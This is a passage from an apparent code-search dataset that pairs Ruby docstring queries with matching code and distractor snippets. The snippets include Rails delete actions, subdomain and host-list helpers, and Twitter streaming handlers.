query
stringlengths 7
9.5k
| document
stringlengths 10
1.07M
| negatives
listlengths 19
19
| metadata
dict |
---|---|---|---|
DELETE /oeuvres/1 DELETE /oeuvres/1.json
|
def destroy
@oeuvre.destroy
respond_to do |format|
format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n @json.destroy\n\n head :no_content\n end",
"def destroy\n @egreso = Egreso.find(params[:id])\n @egreso.destroy\n\n respond_to do |format|\n format.html { redirect_to egresos_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @ovo.destroy\n respond_to do |format|\n format.html { redirect_to ovos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @soiree = Soiree.find(params[:id])\n @soiree.destroy\n\n respond_to do |format|\n format.html { redirect_to soirees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @royaume = Royaume.find(params[:id])\n @royaume.destroy\n\n respond_to do |format|\n format.html { redirect_to royaumes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @votos_urna = VotosUrna.find(params[:id])\n @votos_urna.destroy\n\n respond_to do |format|\n format.html { redirect_to votos_urnas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ejercicio1 = Ejercicio1.find(params[:id])\n @ejercicio1.destroy\n\n respond_to do |format|\n format.html { redirect_to ejercicio1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @esclerosi = Esclerosi.find(params[:id])\n @esclerosi.destroy\n\n respond_to do |format|\n format.html { redirect_to esclerosis_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ofrece = Ofrece.find(params[:id])\n @ofrece.destroy\n\n respond_to do |format|\n format.html { redirect_to ofreces_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @otu = Otu.find(params[:id])\n @otu.destroy\n\n respond_to do |format|\n format.html { redirect_to otus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reuniao.destroy\n respond_to do |format|\n format.html { redirect_to reunioes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @otu.destroy\n respond_to do |format|\n format.html { redirect_to otus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_egreso = TipoEgreso.find(params[:id])\n @tipo_egreso.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_egresos_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Represent topic name into more subdomain computable name ie. convert "some_sub_domain" => "some.sub.domain"
|
def subdomain
self.name.gsub('_', '.')
end
|
[
"def subscription_name(topic)\n [\n Cloudenvoy.config.gcp_sub_prefix.tr('.', '-'),\n to_s.underscore,\n topic\n ].join('.')\n end",
"def subdomain\n ([self.short_name] + self.class.dalianshops.domain.split('.')[1..-1]).join('.')\n end",
"def subdomain_slug\n slug\n end",
"def kafka_topic\n name.pluralize.underscore.gsub(\"/\", \"-\")\n end",
"def subdomain\n return self.domain if dalianshops? #fix: first.dalianshops.com\n ([self.short_name] + self.class.dalianshops.domain.split('.')[1..-1]).join('.')\n end",
"def suggested_subdomain\n name\n .downcase\n .gsub(/[^a-zA-Z\\d\\-\\s]/, '') # illegal chars\n .gsub(/(\\s)+/, '-') # white chars\n end",
"def downcase_subdomain\n self.subdomain = self.subdomain.downcase if self.subdomain\n end",
"def subject_topic\n map_field(:subject_topic)&.map { |a| a.gsub(/ \\$[a-z] /, '--') }\n end",
"def subdomain_name\n current_subdomain.subdomain_name\n end",
"def extract_subdomain(host, tld_length)\n extract_subdomains(host, tld_length).join(\".\")\n end",
"def subdomain\n if default?\n 'www'\n else\n to_s\n end\n end",
"def subdomain(prefix = nil, postfix = nil, prod_stack_name: true)\n name = (rack_env?(:production) && !prod_stack_name) ? nil : cname\n subdomain = [prefix, name, postfix].compact.join('-')\n [subdomain.presence, DOMAIN].compact.join('.').downcase\n end",
"def subjects_name_as_string(key=:parent_subjects_string)\n self.send(key).split(';').collect do |subject_string|\n subject_name, subject_slug = subject_string.split(':')\n subject_name\n end\n end",
"def subdomain\n parsed_domain&.trd\n end",
"def to_sub_domain\n return nil unless to_host\n\n dot_domain = \".#{to_domain}\"\n return nil unless include?(dot_domain)\n\n sub_domain = to_host.sub(dot_domain, '')\n Wgit::Url.new(sub_domain)\n end",
"def get_domain(name)\n name.split('.').last(2).join('.')\n end",
"def downcase_subdomain\n self.subdomain.downcase! if attribute_present?('subdomain')\n end",
"def domain_name(domain)\n\tdomain.split(\".\").collect do |label|\n\t\ttrimmed_label = label.byteslice(0, 63)\n\t\ttrimmed_label.bytesize.chr + trimmed_label\n\tend.join(\"\") + \"\\x00\"\nend",
"def extract_subdomain(host, tld_length); end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Retrieve configuration for the specific +bind_column+ Parameters +bind_column+ this column must be database specific column which are mapped over topic module editor
|
def module_conf(bind_column)
(self.modules && self.modules.reject{|m| m['bind_column'] != bind_column} || []).first
end
|
[
"def param_column\n self.class.param_column\n end",
"def get_column_definition\n self.class::ColumnDefinition\n end",
"def parameter_definition(column)\n @query_parameter_definitions.find { |param| param.column == column }\n end",
"def column_info; end",
"def get_postgres_parameter(parameter)\n get_conf_parameter(POSTGRES_CONF, parameter) unless POSTGRES_CONF.nil?\nend",
"def get_postgres_parameter(parameter, exclusions = DEFAULT_EXCLUSION)\n get_conf_parameter(POSTGRES_CONF, parameter, exclusions)\nend",
"def chooseColumn\n @metadata.chooseColumn\n end",
"def config_column(col, options = {})\n TkGrid.columnconfigure content, col, options\n end",
"def get_column(column_index); end",
"def column_mappings\n @column_mappings ||= task_config[\"column_mappings\"]\n end",
"def column_details( database, table, column )\n if has_column?( database, table, column )\n return @database[database][table][column]\n end\n\n return Hash.new\n end",
"def jdbc_column_class\n ::ActiveRecord::ConnectionAdapters::JdbcColumn\n end",
"def column(column, options = None)\n common_configure([:column, column], options, stretch: :boolean)\n end",
"def column\n klass.columns_hash[field.to_s]\n end",
"def column(name)\n @columns[name]\n end",
"def column_details(hash)\n params = hash.merge(base_configure)\n check_value_exist(params, [:ak, :geotable_id, :id])\n @res = send_request(:get, \"http://api.map.baidu.com/geodata/v3/column/detail\", params)\n return @res[:column]\n end",
"def index\n @config_columns = ConfigColumn.all\n end",
"def column_for(name)\n available_columns[name] || {}\n end",
"def get_Column()\n \t return @outputs[\"Column\"]\n \tend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Determine the default host, right now the implementation is based on the +self.host_list+ array pop
|
def default_host
host_list.first
end
|
[
"def __default_network_host\n case version\n when /^0|^1/\n '0.0.0.0'\n when /^2/\n '_local_'\n when /^5|^6|^7/\n '_local_'\n else\n raise RuntimeError, \"Cannot determine default network host from version [#{version}]\"\n end\n end",
"def default_host; end",
"def default_host\n primary_host = hosts.primary.first\n primary_host.blank? ? \"#{subdomain}.adaptapp.com\" : primary_host.hostname\n end",
"def target_host\n\t\tif(self.respond_to?('rhost'))\n\t\t\treturn rhost()\n\t\tend\n\n\t\tif(self.datastore['RHOST'])\n\t\t\treturn self.datastore['RHOST']\n\t\tend\n\n\t\tnil\n\tend",
"def host\n configure\n locations[self][:host] || DEFAULT_LOCATION[:host]\n end",
"def ensure_only_default_host_exists()\n host = getTableValue(\"table://hosts/defaultHost/name\")\n json = CC.CLI.get_json(\"%{serviced} host list -v\")\n if (json.length != 1 || findArrayMatch(json, \"Name\", host) == nil)\n remove_all_hosts()\n add_default_host()\n end\n end",
"def current_host=(_arg0); end",
"def set_default_host!(hosts)\n default = []\n master = []\n default_host_name = nil\n\n # look through the hosts and find any hosts with role 'default' and any hosts with role 'master'\n hosts.each_key do |name|\n host = hosts[name]\n if host[:roles].include?('default')\n default << name\n elsif host[:roles].include?('master')\n master << name\n end\n end\n\n # default_set? will throw an error if length > 1\n # and return false if no default is set.\n return if @validator.default_set?(default)\n\n # no default set, let's make one\n if not master.empty? and master.length == 1\n default_host_name = master[0]\n elsif hosts.length == 1\n default_host_name = hosts.keys[0]\n end\n return unless default_host_name\n\n hosts[default_host_name][:roles] << 'default'\n end",
"def set_default_host!(hosts)\n default = []\n master = []\n default_host_name = nil\n\n #look through the hosts and find any hosts with role 'default' and any hosts with role 'master'\n hosts.each_key do |name|\n host = hosts[name]\n if host[:roles].include?('default')\n default << name\n elsif host[:roles].include?('master')\n master << name\n end\n end\n\n if not default.empty?\n #we already have a default set, do nothing\n if default.length > 1\n parser_error \"Only one host may have the role 'default', default roles assigned to #{default}\"\n end\n else\n #no default set, let's make one\n if not master.empty? and master.length == 1\n default_host_name = master[0]\n elsif hosts.length == 1\n default_host_name = hosts.keys[0]\n end\n if default_host_name\n hosts[default_host_name][:roles] << 'default'\n end\n end\n end",
"def host(arg)\n # TODO?: Evaluate here BRIDGE_LIST + TM_MAD and return either the\n # host, the BRIDGE_LIST or nil (for shared without BRIDGE_LIST)\n return if arg.nil?\n\n s = arg.split ':'\n return if s.size < 2\n\n s[0]\n end",
"def selected_host\n\t\tselhost = WmapTarget.find(:first, :conditions => [\"selected != 0\"] )\n\t\tif selhost\n\t\t\treturn selhost.host\n\t\telse\n\t\t\treturn\n\t\tend\n\tend",
"def try_next_host\n DECISION_TRY_NEXT_HOST\n end",
"def get_first_host_in_layer(layer_name, fallback_host)\n layer = node[:opsworks][:layers][layer_name]\n if layer.nil?\n Chef::Log.warn \"Could not find layer #{layer_name}. Falling back to host #{fallback_host}\"\n return fallback_host\n end\n\n first_hostname = nil\n first_hostip = nil\n layer[:instances].each do |name, instance|\n if (first_hostname.nil? or name < first_hostname) then\n first_hostname = name\n first_hostip = instance[:private_ip]\n end\n end\n\n if first_hostname.nil? then\n Chef::Log.warn \"Could not find a valid host in layer #{layer_name}. Falling back to host #{fallback_host}\"\n return fallback_host\n end\n return first_hostip\n end",
"def host(host)\n get(\"hosts/#{host}\").pop\n end",
"def fallback_host_name\n super\n end",
"def get_win_default_host(options)\n if_name = get_win_default_if_name(options)\n nic_mac = get_win_if_mac(options,if_name)\n host_ip = get_win_ip_form_mac(options,nic_mac)\n return host_ip\nend",
"def get_host( name )\n @hosts[ name ]\n end",
"def make_host\n unless self.host.host\n self.host.update(:host => true)\n end\n end",
"def current_host; end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
To convert +self.hosts+ string into an array of hosts Space and Comma will be used for splitting host string
|
def host_list
return @host_list if defined?(@host_list)
if !self.hosts.blank?
@host_list = self.hosts.split(/[,\s]+/).compact
else
@host_list = []
end
@host_list
end
|
[
"def hosts\n @hosts ||= match[5].split(\",\")\n end",
"def hosts\n host_port.split(\",\")\n end",
"def hosts_in_array\n @hosts.strip.split(/\\s+/).map { |i| i.to_i }\n end",
"def parse_hosts (args)\n host_arg = (args.empty? || (args[0][0,1] == '-')) ? 'localhost' : args.shift()\n discoveryrc = File.expand_path(\"~/.discoveryrc\")\n aliasmap = {}\n if File.readable?(discoveryrc)\n File.readlines(discoveryrc).each {|line| line.scan(/(\\w+)\\s*=\\s*(.*)/) {|k,v| aliasmap[k]=v}}\n end\n\n host_list = ''\n if aliasmap.has_key?(host_arg)\n host_list = aliasmap[host_arg]\n elsif host_arg == 'localhost'\n host_list = 'http://localhost:8080'\n else\n host_list = host_arg\n end\n\n @hosts = host_list.split(',').map() {|host| host.strip()};\n return @hosts\n end",
"def hosts\n h = []\n r = ('a'..'z')\n r.each do |i|\n r.each do |j|\n r.each do |k|\n h << i.to_s + j + k + \".com\"\n end\n end\n end\n h\n end",
"def parse_hosts (args)\n\n discoveryrc = File.expand_path(\"~/.discoveryrc\")\n aliasmap = {}\n if File.readable?(discoveryrc)\n File.readlines(discoveryrc).each {|line| line.scan(/(\\w+)\\s*=\\s*(.*)/) {|k,v| aliasmap[k]=v}}\n end\n\n if args.size == 0 || args[0] =~ /^-/\n @hosts = aliasmap[\"localhost\"].nil? ? [\"http://localhost:8080\"] : aliasmap[\"localhost\"]\n else\n hostname = args.shift()\n @hosts = (aliasmap[hostname] || hostname).split(',').map() {|host| host.strip()};\n end\n \n return @hosts\n end",
"def list_hosts(cmd)\n output = one_off(\"#{cmd} --list-hosts\").gsub!(/\\s+hosts.*:\\n/, '').strip\n output.split(\"\\n\").map(&:strip)\n end",
"def get_hosts_for_app(appname)\n app_data = get_app_data(appname)\n hosts = app_data.scan(/\\nhosts:([\\d\\.|:]+)\\n/).flatten.to_s.split(\":\")\n ports = app_data.scan(/\\nports: ([\\d|:]+)\\n/).flatten.to_s.split(\":\")\n\n host_list = []\n\n hosts.each_index { |i|\n host_list << \"#{hosts[i]}:#{ports[i]}\"\n }\n\n return host_list\n end",
"def to_array\n instance_variables.map do |var|\n if var == :@hosts\n instance_variable_get(var).map(&:to_array)\n else\n instance_variable_get(var)\n end\n end\n end",
"def hosts\n @hosts ||= begin\n result = bash \"#{ command } --list-hosts --check\"\n start = ( result.index /hosts.+$/ ) + ( result.match /hosts.+$/ )[0].length + 1\n\n ( result[ start .. -1 ].scan /[\\S]+/ )\n end\nend",
"def add_hosts(hosts:)\n @hosts = @hosts.+ Array hosts\n\n self\n end",
"def hosts\n @brokers.map { |b| \"#{b.host}:#{b.index}\" }.join(\",\")\n end",
"def hosts=(value)\n @hosts = value\n end",
"def split_hosts(hosts)\n @hosts = []\n\n if hosts.size <= MAX_HOSTS\n @hosts << hosts\n else\n nsplits = (1.0 * hosts.size / MAX_HOSTS).ceil\n nsamples = (1.0 * hosts.size / nsplits).ceil\n\n nsplits.times do\n samples = hosts.sample(nsamples)\n @hosts << samples\n hosts -= samples\n end\n end\n end",
"def split_host(host)\n\n if IP_REGEX.match(host)\n [ host, nil ]\n elsif i = host.index('.')\n [ host[0..i - 1], host[i..-1] ]\n else\n [ host, nil ]\n end\n end",
"def GetSystemHosts\n [\n \"127.0.0.1\",\n \"::1\",\n \"fe00::0\",\n \"ff00::0\",\n \"ff02::1\",\n \"ff02::2\",\n \"ff02::3\"\n ]\n end",
"def target_hosts\n if hosts = ENV[\"HOSTS\"] then\n hosts.strip.gsub(/\\s+/, '').split(\",\")\n else\n roles = Array options[:roles]\n\n if roles.empty? then\n Rake::RemoteTask.all_hosts\n else\n Rake::RemoteTask.hosts_for roles\n end\n end\n end",
"def hosts groups=nil\n \n groups = case groups\n when Array then groups\n when String then Array[groups]\n when NilClass then @hostgroups\n end\n\n @hosts = []\n\n groups.each do |gr|\n @response = RestClient.get endpoint gr\n @hosts << JSON.parse(@response)['members'].split(',')\n end\n\n @hosts.flatten.uniq\n end",
"def add_hosts(hosts:)\n @hosts += Array hosts\n\n self\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
private. if json_item is a tweet, yield the screen_name/tweet_text/created_at and stop the event loop if block returns true
|
def yield_if_tweet event_machine, json_item, &block
raise "expecting a block" unless block_given?
parsed_item = JSON.parse json_item rescue nil
screen_name = parsed_item['user']['screen_name'] rescue nil
tweet_text = parsed_item['text'] rescue nil
created_at = parsed_item['created_at'] rescue nil
yield screen_name, tweet_text, created_at if screen_name and tweet_text and created_at
nil
end
|
[
"def twitter_stream twitter_login, content, &block\n raise \"expecting a block\" unless block_given?\n\n stream = Twitter::JSONStream.connect(\n :path => \"/1/statuses/filter.json?#{content}\",\n :auth => twitter_login,\n :ssl => true,\n )\n\n stream.each_item do |json_item|\n yield_if_tweet EventMachine, json_item, &block\n end\n\n stream.on_error do |message|\n # No need to worry here. It might be an issue with Twitter. \n # Log message for future reference. JSONStream will try to reconnect after a timeout.\n $stderr.print message + \"\\n\"\n $stderr.flush\n end\n\n stream.on_reconnect do |timeout, retries|\n # No need to worry here. It might be an issue with Twitter. \n # Log message for future reference. JSONStream will try to reconnect after a timeout.\n $stderr.print \"reconnect retry #{retries}\\n\"\n $stderr.flush\n end\n\n stream.on_max_reconnects do |timeout, retries|\n # Something is wrong on your side. Send yourself an email.\n $stderr.print \"reconnect max retries\\n\"\n $stderr.flush\n end\n nil\nend",
"def each_tweet(&block)\n @tweets.each do |tweet|\n block.call(tweet)\n end\n end",
"def each_tweet(tweets)\n tweets.split(\"\\n\").each do |tweet|\n yield(tweet)\n end\n end",
"def process_tweets\n tweet_timeline = $client.mentions_timeline\n \n @tweet_timeline.each do |tweet|\n tweet.user.screen_name\n tweet.text\n end\n\n #get user and information supplied, then reply to the tweeter\n #tweet = $client.update(\"#{}\")\n end",
"def print_timeline(tweets)\n \t # ADD CODE TO ITERATE THROUGH EACH TWEET AND PRINT ITS TEXT\n \t tweets.each do |tweet| \n \t p tweet['text']\n \t p tweet['user']['name']\n \t p tweet['hashtags']\n \t # p tweet\n \t end\n \tend",
"def grab_tweets &block\n NSLog \"grab_tweets\"\n self.spinner.startAnimation self\n TwitterSearch.new(self.search_term) do |tweets|\n @tweets = tweets\n block[]\n self.spinner.stopAnimation self\n end\n end",
"def on_each_tweet(&block)\n @each_tweet_callback = block\n end",
"def call_this_block\n yield \"tweet\"\nend",
"def twitter_items\n if session[:twitter_token].nil? || session[:twitter_secret].nil?\n fail_no_oauth_token 'Twitter'\n else\n access = TwitterAccess.create(\n oauth_token: session[:twitter_token],\n oauth_token_secret: session[:twitter_secret],\n user: current_user\n )\n timeline_items = access.timeline \n\n render_json_items timeline_items\n end\n end",
"def getTweets\n\t\tputs 'in getTweets'\n\t\t@client.on_timeline_status do |tweet|\n\t\t\tputs 'getTweets: ' + tweet.text\n\n\t\t\t#binding.pry\n\t\t\tpopPlayQueue(tweet)\n\t\tend\n\tend",
"def print_timeline(tweets)\n tweets.each do |tweet|\n count = 0\n if count < 10\n puts tweet[\"text\"]\n puts\n count += 1\n end\n end\nend",
"def process_tweets(tweets)\n return false if tweets.empty?\n head, *tail = tweets\n process_tweet(head) unless head.nil?\n process_tweets(tail) unless tail.nil?\n end",
"def on_stream_receive(item)\n parsed = JSON.parse(item)\n\n tw = Tweet.new({\n :tweet_id => parsed['id_str'],\n :text => parsed['text'],\n :twitter_id => parsed['user']['id'],\n :screen_name => parsed['user']['screen_name'],\n :profile_image_url => parsed['user']['profile_image_url'],\n :location => parsed['user']['location']\n })\n tw.save!\n\n # Delete old tweets\n oldest_tweet_saved = Tweet.order('created_at desc').limit(1).offset(50).first\n if oldest_tweet_saved\n Tweet.where(\"created_at < ?\", oldest_tweet_saved.created_at).each { |tw| tw.destroy }\n end\n\n ::PubSub.channel(\"ws_server\").publish tw.to_json\n end",
"def retweetStatuses\n if @statuses\n @statuses.each do |status|\n \n # Check if the retweets limit has reached\n if @cycle_rts >= @max_rt\n @log.info(\"Retweet limit reached, exiting...\")\n break\n end\n \n should_retweet = false\n \n # Check if the tweet contains an interesting word\n @config[\"match\"].each do |match| \n if status[\"text\"].downcase.include? match.downcase\n should_retweet = true\n end\n end\n \n # Check if the tweet contains a forbidden word\n @config[\"forbidden\"].each do |forbidden| \n if status[\"text\"].downcase.include? forbidden.downcase\n @log.debug(\"The tweet contains the forbidden word \\\"#{forbidden}\\\"\")\n should_retweet = false\n end\n end\n \n if should_retweet\n # The API response includes the retweeted status, so \n # now it doesn't check all @retweeted_ids (much more sloooow)\n # but just the 'retweeted' field in the API response\n if status['retweeted']\n @log.debug(\"Already retweeted (#{status['id']}): \" + status[\"text\"])\n elsif @user_retweets[ status['user']['id'] ] and @user_retweets[ status['user']['id'] ][:num] >= @max_rt_per_user\n # The retweet limit for this user has reached\n @log.debug(\"Retweet limit reached for user #{status['user']['name']}\")\n else\n # Increase the retweets\n @cycle_rts += 1\n \n # Increase the user retweets\n if @user_retweets[ status['user']['id'] ]\n @user_retweets[ status['user']['id'] ][:num] += 1\n else\n @user_retweets[ status['user']['id'] ] = {}\n @user_retweets[ status['user']['id'] ][:name] = status['user']['name']\n @user_retweets[ status['user']['id'] ][:num] = 1\n end\n \n @log.info(\"Retweeting (#{status['id']}): \" + status[\"text\"])\n result = @access_token.post(\"/statuses/retweet/\" + status[\"id\"].to_s + \".json\")\n if result.class != Net::HTTPOK\n @log.error(\"Error retweeting #{status['id']} with message: \" + result.body)\n end\n end\n end\n end\n else\n @log.warn(\"Can't find any status to be retweeted\")\n end\n end",
"def parse_twitter_api_response(tweets)\n tweets = tweets.map do |tweet|\n if tweet.attrs[:retweeted_status] then\n { created_at: tweet.created_at.getlocal.strftime(\"%l:%M%p - %b %e, %Y\"), name: tweet.user.name, body: \"Retweet: \" << CGI.unescapeHTML(tweet.attrs[:retweeted_status][:full_text]), avatar: tweet.user.profile_image_url_https, screen_name: \"@\" + tweet.user.screen_name}\n else\n { created_at: tweet.created_at.getlocal.strftime(\"%l:%M%p - %b %e, %Y\"), name: tweet.user.name, body: CGI.unescapeHTML(tweet.attrs[:full_text]), avatar: tweet.user.profile_image_url_https, screen_name: \"@\" + tweet.user.screen_name }\n end\n end\n\n return tweets\nend",
"def tweet_item(item)\n @twitter.tweet @tweet_writer.write_tweet(item)\n end",
"def wait_for_tweets\n tweets = nil\n last_tweets = nil\n\n Thread.new do\n @@context[:twitter_thread] = Thread.current\n while true do\n\n # Don't load anything if the app is busy in config mode or whatever.\n # (I wish shoes supported multiple windows ^^;)\n unless @@context[:busy]\n # Ask Twitter.\n @@context[:twitter_check] = Time.now\n tweets = @@context[:twitter].tweets\n @@context[:twitter_check] = nil\n end\n\n # Display timeline if needed, then wait until it's time to reload\n # again...\n @@context[:seconds_to_reload] = @@context[:sleeptime]\n if last_tweets.nil? || \n tweets.zip(last_tweets).any? {|t,l|t.created_at!=l.created_at} ||\n @@context[:tweets_flow] == nil\n display_tweets(tweets)\n end\n last_tweets = tweets\n @status_msg.replace \"\"\n sleep 1 until 0 >= (@@context[:seconds_to_reload] -= 1)\n end\n end\n end",
"def status_tweets\n logger.debug { \"#{__method__} is called twitter_user_id=#{id}\" }\n tweets = []\n tweets = InMemory::StatusTweet.find_by(uid) if InMemory.enabled? && InMemory.cache_alive?(created_at)\n tweets = Efs::StatusTweet.where(uid: uid) if tweets.blank? && Efs::Tweet.cache_alive?(created_at)\n tweets = ::S3::StatusTweet.where(uid: uid) if tweets.blank?\n tweets.map { |tweet| ::TwitterDB::Status.new(uid: uid, screen_name: screen_name, raw_attrs_text: tweet.raw_attrs_text) }\n end",
"def grab_tweets(page)\n tweeter = self.get_tweeter\n found_tweets = false\n\n all_tweets = Twitter.user_timeline(tweeter, :trim_user => true, :count => 200, :include_rts => true, :page => page)\n\n unless all_tweets.empty?\n if all_tweets.size < 200 \n found_tweets = 0\n else\n found_tweets = true\n end\n\n if page == 1\n first_tweet = all_tweets.shift\n Tweet.new(:data => first_tweet, :is_latest => true, :link_id => self.id).save\n end\n \n for item in all_tweets do\n Tweet.new(:data => item, :link_id => self.id).save\n end\n end\n return found_tweets\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
synchronously consume a twitter stream and pass each received json_item to yield_if_tweet must be called inside EventMachine::run
|
def twitter_stream twitter_login, content, &block
raise "expecting a block" unless block_given?
stream = Twitter::JSONStream.connect(
:path => "/1/statuses/filter.json?#{content}",
:auth => twitter_login,
:ssl => true,
)
stream.each_item do |json_item|
yield_if_tweet EventMachine, json_item, &block
end
stream.on_error do |message|
# No need to worry here. It might be an issue with Twitter.
# Log message for future reference. JSONStream will try to reconnect after a timeout.
$stderr.print message + "\n"
$stderr.flush
end
stream.on_reconnect do |timeout, retries|
# No need to worry here. It might be an issue with Twitter.
# Log message for future reference. JSONStream will try to reconnect after a timeout.
$stderr.print "reconnect retry #{retries}\n"
$stderr.flush
end
stream.on_max_reconnects do |timeout, retries|
# Something is wrong on your side. Send yourself an email.
$stderr.print "reconnect max retries\n"
$stderr.flush
end
nil
end
|
[
"def yield_if_tweet event_machine, json_item, &block\n raise \"expecting a block\" unless block_given?\n parsed_item = JSON.parse json_item rescue nil\n screen_name = parsed_item['user']['screen_name'] rescue nil\n tweet_text = parsed_item['text'] rescue nil\n created_at = parsed_item['created_at'] rescue nil\n yield screen_name, tweet_text, created_at if screen_name and tweet_text and created_at\n nil\nend",
"def on_each_tweet(&block)\n @each_tweet_callback = block\n end",
"def each_tweet(&block)\n @tweets.each do |tweet|\n block.call(tweet)\n end\n end",
"def grab_tweets &block\n NSLog \"grab_tweets\"\n self.spinner.startAnimation self\n TwitterSearch.new(self.search_term) do |tweets|\n @tweets = tweets\n block[]\n self.spinner.stopAnimation self\n end\n end",
"def run\n @count = 0\n @start = Time.now\n\n stream = Fiber.new do\n @client = TweetStream::Client.new.on_limit {|missed_counts|\n rate_limit_handler missed_counts\n }.on_error {|msg|\n error_handler msg\n }.on_reconnect {|timeout, retries|\n reconnect_error_handler timeout, retries\n }.locations(-180.0,-90.0,180.0,90.0) do |status|\n unless status.geo.nil?\n Fiber.yield status\n end\n end\n end\n \n while status = stream.resume\n exclude_cached_status(status) do\n report_progress do\n raw_tweet_to_tweet(status).save\n end\n end\n end\n end",
"def start_streaming_tweets\n \n end",
"def getTweets\n\t\tputs 'in getTweets'\n\t\t@client.on_timeline_status do |tweet|\n\t\t\tputs 'getTweets: ' + tweet.text\n\n\t\t\t#binding.pry\n\t\t\tpopPlayQueue(tweet)\n\t\tend\n\tend",
"def each_tweet(tweets)\n tweets.split(\"\\n\").each do |tweet|\n yield(tweet)\n end\n end",
"def start_twitter_listen\n\n # add your app's tokens in here\n\n TweetStream.configure do |config|\n config.consumer_key = ''\n config.consumer_secret = ''\n config.oauth_token = ''\n config.oauth_token_secret = ''\n config.auth_method = :oauth\n config.parser = :json_pure\n end\n\n total = 0\n\n TweetStream::Client.new.track(self.hashtag,\"##{self.hashtag}\",\n :limit => Proc.new{ |status_id, user_id| \n puts \"limit!\"\n sleep 5 \n },\n :error => Proc.new{ |status_id, user_id| \n puts \"error!\" \n sleep 5\n },\n ) do |status|\n begin\n clear_counts()\n total = 0\n str = status.text\n res_c = country_classify(str, stop_words, countries)\n if(res_c && res_c.length>0)\n puts \"**classified country #{res_c}\"\n\n res_c.each do |b|\n c = self.mentions[b] \n puts \"got a count for #{b} which is #{c}\"\n d = c+1\n self.mentions[b]=d\n end\n\n else\n # classification failed for the tweet, but it did match the hashtag \n # so we keep the total\n total = total+1\n puts \"**no country found but total is #{total}\"\n end\n\n rescue JSON::ParserError\n puts \"parser error - don't worry\"\n \n rescue Exception => e\n puts \"error: #{e.class.name}\\n #{e}\"\n puts e.backtrace\n puts \"waiting for a bit then reconnecting\"\n sleep 370\n end\n\n dump_data_for_vista(total)\n\n end\n\n end",
"def process_tweets\n tweet_timeline = $client.mentions_timeline\n \n @tweet_timeline.each do |tweet|\n tweet.user.screen_name\n tweet.text\n end\n\n #get user and information supplied, then reply to the tweeter\n #tweet = $client.update(\"#{}\")\n end",
"def connect\n uri = URI.parse(\"https://userstream.twitter.com/2/user.json?track=#{SCREEN_NAME}\")\n\n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = true\n https.ca_file = HTTPS_CA_FILE\n https.verify_mode = OpenSSL::SSL::VERIFY_PEER\n https.verify_depth = 5\n\n https.start do |https|\n request = Net::HTTP::Get.new(uri.request_uri)\n request[\"User-Agent\"] = BOT_USER_AGENT\n request.oauth!(https, @consumer, @access_token)\n\n buf = \"\"\n https.request(request) do |response|\n response.read_body do |chunk|\n buf << chunk\n while ((line = buf[/.+?(\\r\\n)+/m]) != nil)\n begin\n buf.sub!(line, \"\")\n line.strip!\n status = JSON.parse(line)\n rescue\n break\n end\n\n yield status\n end\n end\n end\n end\n end",
"def on_stream_receive(item)\n parsed = JSON.parse(item)\n\n tw = Tweet.new({\n :tweet_id => parsed['id_str'],\n :text => parsed['text'],\n :twitter_id => parsed['user']['id'],\n :screen_name => parsed['user']['screen_name'],\n :profile_image_url => parsed['user']['profile_image_url'],\n :location => parsed['user']['location']\n })\n tw.save!\n\n # Delete old tweets\n oldest_tweet_saved = Tweet.order('created_at desc').limit(1).offset(50).first\n if oldest_tweet_saved\n Tweet.where(\"created_at < ?\", oldest_tweet_saved.created_at).each { |tw| tw.destroy }\n end\n\n ::PubSub.channel(\"ws_server\").publish tw.to_json\n end",
